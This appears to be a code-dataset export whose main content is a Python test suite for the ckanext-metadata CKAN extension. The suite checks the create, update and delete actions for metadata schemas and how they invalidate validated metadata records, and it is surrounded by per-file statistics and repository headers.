max_concurrency=max_concurrency, environment=environment, cache_serializable=cache_serialize, pod_spec=pod_spec, primary_container_name=primary_container_name, annotations=annotations, labels=labels, ) if _task_function: return wrapper(_task_function) else: return wrapper
46.568675
126
0.693211
7,618
57,978
5.167367
0.064846
0.013515
0.031703
0.039019
0.933291
0.928566
0.916982
0.909539
0.901766
0.900419
0
0.002505
0.249543
57,978
1,244
127
46.606109
0.902229
0.711494
0
0.82151
0
0
0.01888
0
0
0
0
0.017685
0
1
0.045767
false
0
0.032037
0.016018
0.141876
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
8
0c848d859d59a3f9c78c293d85dd3aded261470c
44,819
py
Python
ckanext/metadata/tests/test_metadata_schema_actions.py
SAEONData/ckanext-metadata
af1a137e5d924f05ea1835b81f36f808700d3aa7
[ "MIT" ]
null
null
null
ckanext/metadata/tests/test_metadata_schema_actions.py
SAEONData/ckanext-metadata
af1a137e5d924f05ea1835b81f36f808700d3aa7
[ "MIT" ]
76
2018-04-10T12:51:56.000Z
2021-02-22T11:41:03.000Z
ckanext/metadata/tests/test_metadata_schema_actions.py
SAEONData/ckanext-metadata
af1a137e5d924f05ea1835b81f36f808700d3aa7
[ "MIT" ]
null
null
null
# encoding: utf-8 from ckan.tests import factories as ckan_factories from ckan.tests.helpers import call_action from ckanext.metadata import model as ckanext_model from ckanext.metadata.tests import ( ActionTestBase, generate_name, assert_object_matches_dict, assert_error, assert_package_has_extra, assert_metadata_record_has_validation_schemas, assert_metadata_schema_has_dependent_records, factories as ckanext_factories, load_example, ) class TestMetadataSchemaActions(ActionTestBase): def _generate_and_validate_metadata_record(self, metadata_standard_id=None, add_infrastructure_to_collection=False, add_organization_to_schema=False, add_infrastructure_to_schema=False): """ Generate a metadata record and a metadata schema, and validate the record using the schema. :param metadata_standard_id: specify the metadata standard to use :param add_infrastructure_to_collection: assign an infrastructure to the record's metadata collection :param add_organization_to_schema: associate the record's organization with the schema :param add_infrastructure_to_schema: associate the record's infrastructure with the schema :return: tuple of new record, new collection, new schema """ organization = ckan_factories.Organization() metadata_collection = ckanext_factories.MetadataCollection( organization_id=organization['id'], infrastructures=[{'id': ckanext_factories.Infrastructure()['id']}] if add_infrastructure_to_collection else [] ) metadata_record = ckanext_factories.MetadataRecord( metadata_standard_id=metadata_standard_id, metadata_collection_id=metadata_collection['id'], owner_org=organization['id'], ) metadata_schema = ckanext_factories.MetadataSchema( metadata_standard_id=metadata_record['metadata_standard_id'], organization_id=organization['id'] if add_organization_to_schema else '', infrastructure_id=metadata_collection['infrastructures'][0]['id'] if add_infrastructure_to_schema else '' ) assert_metadata_record_has_validation_schemas(metadata_record['id'], metadata_schema['name']) self._validate_metadata_record(metadata_record) self.assert_validate_activity_logged(metadata_record['id'], metadata_schema) return metadata_record, metadata_collection, metadata_schema def _generate_and_validate_metadata_record_using_schema(self, metadata_schema): """ Generate a metadata record with the same standard and organization/infrastructure of the given schema, and validate it using this schema. :return: metadata record dict """ metadata_collection = ckanext_factories.MetadataCollection( organization_id=metadata_schema['organization_id'] if metadata_schema['organization_id'] else ckan_factories.Organization()['id'], infrastructures=[{'id': metadata_schema['infrastructure_id']}] if metadata_schema['infrastructure_id'] else [] ) metadata_record = ckanext_factories.MetadataRecord( metadata_standard_id=metadata_schema['metadata_standard_id'], owner_org=metadata_collection['organization_id'], metadata_collection_id=metadata_collection['id'], ) assert_metadata_record_has_validation_schemas(metadata_record['id'], metadata_schema['name']) self._validate_metadata_record(metadata_record) self.assert_validate_activity_logged(metadata_record['id'], metadata_schema) return metadata_record def _validate_metadata_record(self, metadata_record): """ :param metadata_record: metadata record dict """ call_action('metadata_record_validate', id=metadata_record['id'], context={'user': self.normal_user['name']}) assert_package_has_extra(metadata_record['id'], 'validated', True) def test_create_valid(self): metadata_standard = ckanext_factories.MetadataStandard() input_dict = { 'description': 'This is a test metadata schema', 'metadata_standard_id': metadata_standard['id'], 'organization_id': '', 'infrastructure_id': '', 'schema_json': '{ "testkey": "testvalue" }', } result, obj = self.test_action('metadata_schema_create', **input_dict) assert_object_matches_dict(obj, input_dict) assert obj.name == generate_name(metadata_standard['name'], '', '') def test_create_valid_datacite(self): metadata_standard = ckanext_factories.MetadataStandard() input_dict = { 'metadata_standard_id': metadata_standard['id'], 'organization_id': '', 'infrastructure_id': '', 'schema_json': load_example('saeon_odp_4.2_schema.json'), } result, obj = self.test_action('metadata_schema_create', **input_dict) assert_object_matches_dict(obj, input_dict) def test_create_valid_setname(self): metadata_standard = ckanext_factories.MetadataStandard() input_dict = { 'name': 'test-metadata-schema', 'metadata_standard_id': metadata_standard['id'], 'organization_id': '', 'infrastructure_id': '', 'schema_json': '{ "testkey": "testvalue" }', } result, obj = self.test_action('metadata_schema_create', **input_dict) assert_object_matches_dict(obj, input_dict) def test_create_valid_with_organization_byname(self): metadata_standard = ckanext_factories.MetadataStandard() organization = ckan_factories.Organization() input_dict = { 'metadata_standard_id': metadata_standard['name'], 'organization_id': organization['name'], 'infrastructure_id': '', 'schema_json': '{}', } result, obj = self.test_action('metadata_schema_create', **input_dict) assert obj.metadata_standard_id == metadata_standard['id'] assert obj.organization_id == organization['id'] assert obj.infrastructure_id is None assert obj.name == generate_name(metadata_standard['name'], organization['name'], '') def test_create_valid_with_infrastructure_byname(self): metadata_standard = ckanext_factories.MetadataStandard() infrastructure = ckanext_factories.Infrastructure() input_dict = { 'metadata_standard_id': metadata_standard['name'], 'organization_id': '', 'infrastructure_id': infrastructure['name'], 'schema_json': '{}', } result, obj = self.test_action('metadata_schema_create', **input_dict) assert obj.metadata_standard_id == metadata_standard['id'] assert obj.organization_id is None assert obj.infrastructure_id == infrastructure['id'] assert obj.name == generate_name(metadata_standard['name'], '', infrastructure['name']) def test_create_valid_same_standard_different_organization(self): organization1 = ckan_factories.Organization() organization2 = ckan_factories.Organization() metadata_schema = ckanext_factories.MetadataSchema(organization_id=organization1['id']) input_dict = { 'metadata_standard_id': metadata_schema['metadata_standard_id'], 'organization_id': organization2['id'], 'infrastructure_id': '', 'schema_json': '{}', } result, obj = self.test_action('metadata_schema_create', **input_dict) assert_object_matches_dict(obj, input_dict) def test_create_valid_same_standard_different_infrastructure(self): infrastructure1 = ckanext_factories.Infrastructure() infrastructure2 = ckanext_factories.Infrastructure() metadata_schema = ckanext_factories.MetadataSchema(infrastructure_id=infrastructure1['id']) input_dict = { 'metadata_standard_id': metadata_schema['metadata_standard_id'], 'organization_id': '', 'infrastructure_id': infrastructure2['id'], 'schema_json': '{}', } result, obj = self.test_action('metadata_schema_create', **input_dict) assert_object_matches_dict(obj, input_dict) def test_create_valid_same_organization_different_standard(self): organization = ckan_factories.Organization() metadata_schema = ckanext_factories.MetadataSchema(organization_id=organization['id']) metadata_standard = ckanext_factories.MetadataStandard() input_dict = { 'metadata_standard_id': metadata_standard['id'], 'organization_id': metadata_schema['organization_id'], 'infrastructure_id': '', 'schema_json': '{}', } result, obj = self.test_action('metadata_schema_create', **input_dict) assert_object_matches_dict(obj, input_dict) def test_create_valid_same_infrastructure_different_standard(self): infrastructure = ckanext_factories.Infrastructure() metadata_schema = ckanext_factories.MetadataSchema(infrastructure_id=infrastructure['id']) metadata_standard = ckanext_factories.MetadataStandard() input_dict = { 'metadata_standard_id': metadata_standard['id'], 'organization_id': '', 'infrastructure_id': metadata_schema['infrastructure_id'], 'schema_json': '{}', } result, obj = self.test_action('metadata_schema_create', **input_dict) assert_object_matches_dict(obj, input_dict) def test_create_invalidate_records_matching_standard(self): """ Create a schema that will be used for validating an existing validated metadata record by virtue of matching on the record's metadata standard. This should invalidate the record. """ # add org to schema to avoid unique key violation below metadata_record, _, _ = self._generate_and_validate_metadata_record(add_organization_to_schema=True) result, obj = self.test_action('metadata_schema_create', metadata_standard_id=metadata_record['metadata_standard_id'], organization_id='', infrastructure_id='', schema_json='{}') assert_package_has_extra(metadata_record['id'], 'validated', False) self.assert_invalidate_activity_logged(metadata_record['id'], 'metadata_schema_create', obj) def test_create_invalidate_records_matching_standard_organization(self): """ Create a schema that will be used for validating an existing validated metadata record by virtue of matching on standard and organization. This should invalidate the record. """ metadata_record, _, _ = self._generate_and_validate_metadata_record() result, obj = self.test_action('metadata_schema_create', metadata_standard_id=metadata_record['metadata_standard_id'], organization_id=metadata_record['owner_org'], infrastructure_id='', schema_json='{}') assert_package_has_extra(metadata_record['id'], 'validated', False) self.assert_invalidate_activity_logged(metadata_record['id'], 'metadata_schema_create', obj) def test_create_invalidate_records_matching_standard_infrastructure(self): """ Create a schema that will be used for validating an existing validated metadata record by virtue of matching on standard and infrastructure. This should invalidate the record. """ metadata_record, metadata_collection, _ = self._generate_and_validate_metadata_record(add_infrastructure_to_collection=True) result, obj = self.test_action('metadata_schema_create', metadata_standard_id=metadata_record['metadata_standard_id'], organization_id='', infrastructure_id=metadata_collection['infrastructures'][0]['id'], schema_json='{}') assert_package_has_extra(metadata_record['id'], 'validated', False) self.assert_invalidate_activity_logged(metadata_record['id'], 'metadata_schema_create', obj) def test_create_no_invalidate_records_different_standard(self): """ Create a schema with a different standard to that of an existing validated metadata record. This should not invalidate the record. """ metadata_record, _, _ = self._generate_and_validate_metadata_record() call_action('metadata_schema_create', metadata_standard_id=ckanext_factories.MetadataStandard()['id'], organization_id='', infrastructure_id='', schema_json='{}') assert_package_has_extra(metadata_record['id'], 'validated', True) def test_create_no_invalidate_records_different_organization(self): """ Create a schema with the same standard but a different organization to that of an existing validated metadata record. This should not invalidate the record. """ metadata_record, _, _ = self._generate_and_validate_metadata_record() call_action('metadata_schema_create', metadata_standard_id=metadata_record['metadata_standard_id'], organization_id=ckan_factories.Organization()['id'], infrastructure_id='', schema_json='{}') assert_package_has_extra(metadata_record['id'], 'validated', True) def test_create_no_invalidate_records_different_infrastructure_1(self): """ Create a schema with the same standard but a different infrastructure to that of an existing validated metadata record. This should not invalidate the record. """ metadata_record, _, _ = self._generate_and_validate_metadata_record(add_infrastructure_to_collection=True) call_action('metadata_schema_create', metadata_standard_id=metadata_record['metadata_standard_id'], organization_id='', infrastructure_id=ckanext_factories.Infrastructure()['id'], schema_json='{}') assert_package_has_extra(metadata_record['id'], 'validated', True) def test_create_no_invalidate_records_different_infrastructure_2(self): """ Create a schema with the same standard but a different infrastructure to that of an existing validated metadata record. This should not invalidate the record. """ metadata_record, _, _ = self._generate_and_validate_metadata_record() call_action('metadata_schema_create', metadata_standard_id=metadata_record['metadata_standard_id'], organization_id='', infrastructure_id=ckanext_factories.Infrastructure()['id'], schema_json='{}') assert_package_has_extra(metadata_record['id'], 'validated', True) def test_create_invalid_duplicate_name(self): metadata_schema = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_create', should_error=True, name=metadata_schema['name']) assert_error(result, 'name', 'Duplicate name: Metadata Schema') def test_create_invalid_duplicate_standard(self): metadata_schema = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_create', should_error=True, metadata_standard_id=metadata_schema['metadata_standard_id']) assert_error(result, '__after', 'Unique constraint violation') def test_create_invalid_duplicate_standard_organization(self): organization = ckan_factories.Organization() metadata_schema = ckanext_factories.MetadataSchema(organization_id=organization['id']) result, obj = self.test_action('metadata_schema_create', should_error=True, metadata_standard_id=metadata_schema['metadata_standard_id'], organization_id=metadata_schema['organization_id']) assert_error(result, '__after', 'Unique constraint violation') def test_create_invalid_duplicate_standard_infrastructure(self): infrastructure = ckanext_factories.Infrastructure() metadata_schema = ckanext_factories.MetadataSchema(infrastructure_id=infrastructure['id']) result, obj = self.test_action('metadata_schema_create', should_error=True, metadata_standard_id=metadata_schema['metadata_standard_id'], infrastructure_id=metadata_schema['infrastructure_id']) assert_error(result, '__after', 'Unique constraint violation') def test_create_invalid_with_organization_and_infrastructure(self): organization = ckan_factories.Organization() infrastructure = ckanext_factories.Infrastructure() result, obj = self.test_action('metadata_schema_create', should_error=True, organization_id=organization['id'], infrastructure_id=infrastructure['id']) assert_error(result, '__after', 'A metadata schema may be associated with either an organization or an infrastructure but not both.') def test_create_invalid_not_json(self): result, obj = self.test_action('metadata_schema_create', should_error=True, schema_json='not json') assert_error(result, 'schema_json', 'JSON decode error') def test_create_invalid_not_json_dict(self): result, obj = self.test_action('metadata_schema_create', should_error=True, schema_json='[1,2,3]') assert_error(result, 'schema_json', 'Invalid JSON schema') def test_create_invalid_not_json_schema(self): result, obj = self.test_action('metadata_schema_create', should_error=True, schema_json='{"type": "foo"}') assert_error(result, 'schema_json', 'Invalid JSON schema') def test_create_invalid_missing_params(self): result, obj = self.test_action('metadata_schema_create', should_error=True) assert_error(result, 'metadata_standard_id', 'Missing parameter') assert_error(result, 'organization_id', 'Missing parameter') assert_error(result, 'infrastructure_id', 'Missing parameter') assert_error(result, 'schema_json', 'Missing parameter') def test_create_invalid_missing_values(self): result, obj = self.test_action('metadata_schema_create', should_error=True, metadata_standard_id='', schema_json='') assert_error(result, 'metadata_standard_id', 'Missing value') assert_error(result, 'schema_json', 'Missing value') def test_create_invalid_bad_references(self): result, obj = self.test_action('metadata_schema_create', should_error=True, metadata_standard_id='a', organization_id='b', infrastructure_id='c') assert_error(result, 'metadata_standard_id', 'Not found: Metadata Standard') assert_error(result, 'organization_id', 'Not found: Organization') assert_error(result, 'infrastructure_id', 'Not found: Infrastructure') def test_create_invalid_deleted_references(self): metadata_standard = ckanext_factories.MetadataStandard() organization = ckan_factories.Organization() infrastructure = ckanext_factories.Infrastructure() call_action('metadata_standard_delete', id=metadata_standard['id']) call_action('organization_delete', id=organization['id']) call_action('infrastructure_delete', id=infrastructure['id']) result, obj = self.test_action('metadata_schema_create', should_error=True, metadata_standard_id=metadata_standard['id'], organization_id=organization['id'], infrastructure_id=infrastructure['id']) assert_error(result, 'metadata_standard_id', 'Not found: Metadata Standard') assert_error(result, 'organization_id', 'Not found: Organization') assert_error(result, 'infrastructure_id', 'Not found: Infrastructure') def test_update_valid(self): metadata_schema = ckanext_factories.MetadataSchema() metadata_standard = ckanext_factories.MetadataStandard() input_dict = { 'id': metadata_schema['id'], 'description': 'Updated test metadata schema description', 'metadata_standard_id': metadata_standard['id'], 'organization_id': '', 'infrastructure_id': '', 'schema_json': '{ "testkey": "newtestvalue" }', } result, obj = self.test_action('metadata_schema_update', **input_dict) assert_object_matches_dict(obj, input_dict) assert obj.name == generate_name(metadata_standard['name'], '', '') def test_update_valid_partial(self): metadata_schema = ckanext_factories.MetadataSchema() input_dict = { 'id': metadata_schema['id'], 'name': 'updated-test-metadata-schema', 'metadata_standard_id': metadata_schema['metadata_standard_id'], 'organization_id': '', 'infrastructure_id': '', 'schema_json': '{ "testkey": "newtestvalue" }', } result, obj = self.test_action('metadata_schema_update', **input_dict) assert_object_matches_dict(obj, input_dict) assert obj.description == metadata_schema['description'] def test_update_valid_datacite(self): metadata_schema = ckanext_factories.MetadataSchema() input_dict = { 'id': metadata_schema['id'], 'metadata_standard_id': metadata_schema['metadata_standard_id'], 'organization_id': '', 'infrastructure_id': '', 'schema_json': load_example('saeon_odp_4.2_schema.json'), } result, obj = self.test_action('metadata_schema_update', **input_dict) assert_object_matches_dict(obj, input_dict) def test_update_valid_set_organization(self): metadata_schema = ckanext_factories.MetadataSchema() organization = ckan_factories.Organization() input_dict = { 'id': metadata_schema['id'], 'metadata_standard_id': metadata_schema['metadata_standard_id'], 'organization_id': organization['id'], 'infrastructure_id': '', 'schema_json': '{}', } result, obj = self.test_action('metadata_schema_update', **input_dict) assert_object_matches_dict(obj, input_dict) metadata_standard = ckanext_model.MetadataStandard.get(metadata_schema['metadata_standard_id']) assert obj.name == generate_name(metadata_standard.name, organization['name'], '') def test_update_valid_set_infrastructure(self): metadata_schema = ckanext_factories.MetadataSchema() infrastructure = ckanext_factories.Infrastructure() input_dict = { 'id': metadata_schema['id'], 'metadata_standard_id': metadata_schema['metadata_standard_id'], 'organization_id': '', 'infrastructure_id': infrastructure['id'], 'schema_json': '{}', } result, obj = self.test_action('metadata_schema_update', **input_dict) assert_object_matches_dict(obj, input_dict) metadata_standard = ckanext_model.MetadataStandard.get(metadata_schema['metadata_standard_id']) assert obj.name == generate_name(metadata_standard.name, '', infrastructure['name']) def test_update_json_invalidate_records_1(self): """ Update the JSON of a schema that was used to validate existing metadata records that are associated with different organizations and infrastructures. This should invalidate all those records. """ metadata_record_1, _, metadata_schema = self._generate_and_validate_metadata_record( add_infrastructure_to_collection=True) metadata_record_2 = self._generate_and_validate_metadata_record_using_schema(metadata_schema) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id'], metadata_record_2['id']) result, obj = self.test_action('metadata_schema_update', id=metadata_schema['id'], metadata_standard_id=metadata_schema['metadata_standard_id'], organization_id='', infrastructure_id='', schema_json='{ "newtestkey": "newtestvalue" }') assert_package_has_extra(metadata_record_1['id'], 'validated', False) assert_package_has_extra(metadata_record_2['id'], 'validated', False) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id'], metadata_record_2['id']) self.assert_invalidate_activity_logged(metadata_record_1['id'], 'metadata_schema_update', obj) self.assert_invalidate_activity_logged(metadata_record_2['id'], 'metadata_schema_update', obj) def test_update_json_invalidate_records_2(self): """ Update the JSON of a schema that was used to validate existing metadata records that are associated with the same infrastructure and different organizations. This should invalidate all those records. """ metadata_record_1, _, metadata_schema = self._generate_and_validate_metadata_record( add_infrastructure_to_collection=True, add_infrastructure_to_schema=True) metadata_record_2 = self._generate_and_validate_metadata_record_using_schema(metadata_schema) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id'], metadata_record_2['id']) result, obj = self.test_action('metadata_schema_update', id=metadata_schema['id'], metadata_standard_id=metadata_schema['metadata_standard_id'], organization_id='', infrastructure_id=metadata_schema['infrastructure_id'], schema_json='{ "newtestkey": "newtestvalue" }') assert_package_has_extra(metadata_record_1['id'], 'validated', False) assert_package_has_extra(metadata_record_2['id'], 'validated', False) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id'], metadata_record_2['id']) self.assert_invalidate_activity_logged(metadata_record_1['id'], 'metadata_schema_update', obj) self.assert_invalidate_activity_logged(metadata_record_2['id'], 'metadata_schema_update', obj) def test_update_json_invalidate_records_3(self): """ Update the JSON of a schema that was used to validate existing metadata records that are associated with the same organization and different infrastructures. This should invalidate all those records. """ metadata_record_1, _, metadata_schema = self._generate_and_validate_metadata_record( add_infrastructure_to_collection=True, add_organization_to_schema=True) metadata_record_2 = self._generate_and_validate_metadata_record_using_schema(metadata_schema) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id'], metadata_record_2['id']) result, obj = self.test_action('metadata_schema_update', id=metadata_schema['id'], metadata_standard_id=metadata_schema['metadata_standard_id'], organization_id=metadata_schema['organization_id'], infrastructure_id='', schema_json='{ "newtestkey": "newtestvalue" }') assert_package_has_extra(metadata_record_1['id'], 'validated', False) assert_package_has_extra(metadata_record_2['id'], 'validated', False) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id'], metadata_record_2['id']) self.assert_invalidate_activity_logged(metadata_record_1['id'], 'metadata_schema_update', obj) self.assert_invalidate_activity_logged(metadata_record_2['id'], 'metadata_schema_update', obj) def test_update_infrastructure_invalidate_records_1(self): """ Assign an infrastructure to a schema that was used to validate existing metadata records. This should invalidate those records that are no longer dependent on the schema due to not being associated with that infrastructure. """ metadata_record_1, metadata_collection_1, metadata_schema = self._generate_and_validate_metadata_record( add_infrastructure_to_collection=True) metadata_record_2 = self._generate_and_validate_metadata_record_using_schema(metadata_schema) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id'], metadata_record_2['id']) result, obj = self.test_action('metadata_schema_update', id=metadata_schema['id'], metadata_standard_id=metadata_schema['metadata_standard_id'], organization_id='', infrastructure_id=metadata_collection_1['infrastructures'][0]['id'], schema_json=metadata_schema['schema_json']) assert_package_has_extra(metadata_record_1['id'], 'validated', True) assert_package_has_extra(metadata_record_2['id'], 'validated', False) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id']) self.assert_invalidate_activity_logged(metadata_record_2['id'], 'metadata_schema_update', obj) def test_update_infrastructure_invalidate_records_2(self): """ Unassign an infrastructure from a schema. This should invalidate existing validated metadata records that are newly dependent on the schema. """ metadata_record_1, _, metadata_schema_1 = self._generate_and_validate_metadata_record( add_infrastructure_to_collection=True, add_infrastructure_to_schema=True) metadata_record_2, _, metadata_schema_2 = self._generate_and_validate_metadata_record(metadata_standard_id=metadata_record_1['metadata_standard_id'], add_organization_to_schema=True) assert_metadata_schema_has_dependent_records(metadata_schema_1['id'], metadata_record_1['id']) result, obj = self.test_action('metadata_schema_update', id=metadata_schema_1['id'], metadata_standard_id=metadata_schema_1['metadata_standard_id'], organization_id='', infrastructure_id='', schema_json=metadata_schema_1['schema_json']) assert_package_has_extra(metadata_record_1['id'], 'validated', True) assert_package_has_extra(metadata_record_2['id'], 'validated', False) assert_metadata_schema_has_dependent_records(metadata_schema_1['id'], metadata_record_1['id'], metadata_record_2['id']) self.assert_invalidate_activity_logged(metadata_record_2['id'], 'metadata_schema_update', obj) def test_update_organization_invalidate_records_1(self): """ Assign an organization to a schema that was used to validate existing metadata records. This should invalidate those records that are no longer dependent on the schema due to not being associated with that organization. """ metadata_record_1, _, metadata_schema = self._generate_and_validate_metadata_record() metadata_record_2 = self._generate_and_validate_metadata_record_using_schema(metadata_schema) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id'], metadata_record_2['id']) result, obj = self.test_action('metadata_schema_update', id=metadata_schema['id'], metadata_standard_id=metadata_schema['metadata_standard_id'], organization_id=metadata_record_1['owner_org'], infrastructure_id='', schema_json=metadata_schema['schema_json']) assert_package_has_extra(metadata_record_1['id'], 'validated', True) assert_package_has_extra(metadata_record_2['id'], 'validated', False) assert_metadata_schema_has_dependent_records(metadata_schema['id'], metadata_record_1['id']) self.assert_invalidate_activity_logged(metadata_record_2['id'], 'metadata_schema_update', obj) def test_update_organization_invalidate_records_2(self): """ Unassign an organization from a schema. This should invalidate existing validated metadata records that are newly dependent on the schema. """ metadata_record_1, _, metadata_schema_1 = self._generate_and_validate_metadata_record(add_organization_to_schema=True) metadata_record_2, _, metadata_schema_2 = self._generate_and_validate_metadata_record(metadata_standard_id=metadata_record_1['metadata_standard_id'], add_organization_to_schema=True) assert_metadata_schema_has_dependent_records(metadata_schema_1['id'], metadata_record_1['id']) result, obj = self.test_action('metadata_schema_update', id=metadata_schema_1['id'], metadata_standard_id=metadata_schema_1['metadata_standard_id'], organization_id='', infrastructure_id='', schema_json=metadata_schema_1['schema_json']) assert_package_has_extra(metadata_record_1['id'], 'validated', True) assert_package_has_extra(metadata_record_2['id'], 'validated', False) assert_metadata_schema_has_dependent_records(metadata_schema_1['id'], metadata_record_1['id'], metadata_record_2['id']) self.assert_invalidate_activity_logged(metadata_record_2['id'], 'metadata_schema_update', obj) def test_update_invalid_duplicate_name(self): metadata_schema1 = ckanext_factories.MetadataSchema() metadata_schema2 = ckanext_factories.MetadataSchema() input_dict = { 'id': metadata_schema1['id'], 'name': metadata_schema2['name'], } result, obj = self.test_action('metadata_schema_update', should_error=True, **input_dict) assert_error(result, 'name', 'Duplicate name: Metadata Schema') def test_update_invalid_missing_params(self): metadata_schema = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema['id']) assert_error(result, 'metadata_standard_id', 'Missing parameter') assert_error(result, 'organization_id', 'Missing parameter') assert_error(result, 'infrastructure_id', 'Missing parameter') assert_error(result, 'schema_json', 'Missing parameter') def test_update_invalid_missing_values(self): metadata_schema = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema['id'], metadata_standard_id='', schema_json='') assert_error(result, 'metadata_standard_id', 'Missing value') assert_error(result, 'schema_json', 'Missing value') def test_update_invalid_duplicate_standard(self): metadata_schema1 = ckanext_factories.MetadataSchema() metadata_schema2 = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema1['id'], metadata_standard_id=metadata_schema2['metadata_standard_id']) assert_error(result, '__after', 'Unique constraint violation') def test_update_invalid_duplicate_standard_organization(self): organization = ckan_factories.Organization() metadata_schema1 = ckanext_factories.MetadataSchema() metadata_schema2 = ckanext_factories.MetadataSchema(organization_id=organization['id']) result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema1['id'], metadata_standard_id=metadata_schema2['metadata_standard_id'], organization_id=metadata_schema2['organization_id']) assert_error(result, '__after', 'Unique constraint violation') def test_update_invalid_duplicate_standard_infrastructure(self): infrastructure = ckanext_factories.Infrastructure() metadata_schema1 = ckanext_factories.MetadataSchema() metadata_schema2 = ckanext_factories.MetadataSchema(infrastructure_id=infrastructure['id']) result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema1['id'], metadata_standard_id=metadata_schema2['metadata_standard_id'], infrastructure_id=metadata_schema2['infrastructure_id']) assert_error(result, '__after', 'Unique constraint violation') def test_update_invalid_with_organization_set_infrastructure(self): organization = ckan_factories.Organization() metadata_schema = ckanext_factories.MetadataSchema(organization_id=organization['id']) infrastructure = ckanext_factories.Infrastructure() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema['id'], infrastructure_id=infrastructure['id']) assert_error(result, '__after', 'A metadata schema may be associated with either an organization or an infrastructure but not both.') def test_update_invalid_with_infrastructure_set_organization(self): infrastructure = ckanext_factories.Infrastructure() metadata_schema = ckanext_factories.MetadataSchema(infrastructure_id=infrastructure['id']) organization = ckan_factories.Organization() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema['id'], organization_id=organization['id']) assert_error(result, '__after', 'A metadata schema may be associated with either an organization or an infrastructure but not both.') def test_update_invalid_not_json(self): metadata_schema = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema['id'], schema_json='not json') assert_error(result, 'schema_json', 'JSON decode error') def test_update_invalid_not_json_dict(self): metadata_schema = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema['id'], schema_json='[1,2,3]') assert_error(result, 'schema_json', 'Invalid JSON schema') def test_update_invalid_not_json_schema(self): metadata_schema = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema['id'], schema_json='{"type": "foo"}') assert_error(result, 'schema_json', 'Invalid JSON schema') def test_update_invalid_bad_references(self): metadata_schema = ckanext_factories.MetadataSchema() result, obj = self.test_action('metadata_schema_update', should_error=True, id=metadata_schema['id'], metadata_standard_id='a', organization_id='b', infrastructure_id='c') assert_error(result, 'metadata_standard_id', 'Not found: Metadata Standard') assert_error(result, 'organization_id', 'Not found: Organization') assert_error(result, 'infrastructure_id', 'Not found: Infrastructure') def test_update_invalid_deleted_references(self): metadata_schema = ckanext_factories.MetadataSchema() metadata_standard = ckanext_factories.MetadataStandard() organization = ckan_factories.Organization() infrastructure = ckanext_factories.Infrastructure() call_action('metadata_standard_delete', id=metadata_standard['id']) call_action('organization_delete', id=organization['id']) call_action('infrastructure_delete', id=infrastructure['id']) result, obj = self.test_action('metadata_schema_create', should_error=True, id=metadata_schema['id'], metadata_standard_id=metadata_standard['id'], organization_id=organization['id'], infrastructure_id=infrastructure['id']) assert_error(result, 'metadata_standard_id', 'Not found: Metadata Standard') assert_error(result, 'organization_id', 'Not found: Organization') assert_error(result, 'infrastructure_id', 'Not found: Infrastructure') def test_delete_valid(self): metadata_schema = ckanext_factories.MetadataSchema() self.test_action('metadata_schema_delete', id=metadata_schema['id']) def test_delete_invalidate_records(self): metadata_record, _, metadata_schema = self._generate_and_validate_metadata_record() result, obj = self.test_action('metadata_schema_delete', id=metadata_schema['id']) assert_package_has_extra(metadata_record['id'], 'validated', False) self.assert_invalidate_activity_logged(metadata_record['id'], 'metadata_schema_delete', obj) metadata_record, _, metadata_schema = self._generate_and_validate_metadata_record(add_organization_to_schema=True) result, obj = self.test_action('metadata_schema_delete', id=metadata_schema['id']) assert_package_has_extra(metadata_record['id'], 'validated', False) self.assert_invalidate_activity_logged(metadata_record['id'], 'metadata_schema_delete', obj) metadata_record, _, metadata_schema = self._generate_and_validate_metadata_record( add_infrastructure_to_collection=True, add_infrastructure_to_schema=True) result, obj = self.test_action('metadata_schema_delete', id=metadata_schema['id']) assert_package_has_extra(metadata_record['id'], 'validated', False) self.assert_invalidate_activity_logged(metadata_record['id'], 'metadata_schema_delete', obj)
58.663613
190
0.661974
4,606
44,819
6.01954
0.037777
0.110582
0.06557
0.042054
0.907993
0.884621
0.856092
0.827707
0.820529
0.819015
0
0.003862
0.248868
44,819
763
191
58.740498
0.819724
0.072045
0
0.718287
0
0
0.155719
0.043823
0
0
0
0
0.214168
1
0.095552
false
0
0.00659
0
0.107084
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0badcf783ca301389034b56c3dd7b005e5bdd020
12,541
py
Python
tests.py
schedul-xor/pyquadtree
4f3315da796b8315cb9ce73cd9fc047b64689079
[ "MIT" ]
null
null
null
tests.py
schedul-xor/pyquadtree
4f3315da796b8315cb9ce73cd9fc047b64689079
[ "MIT" ]
null
null
null
tests.py
schedul-xor/pyquadtree
4f3315da796b8315cb9ce73cd9fc047b64689079
[ "MIT" ]
null
null
null
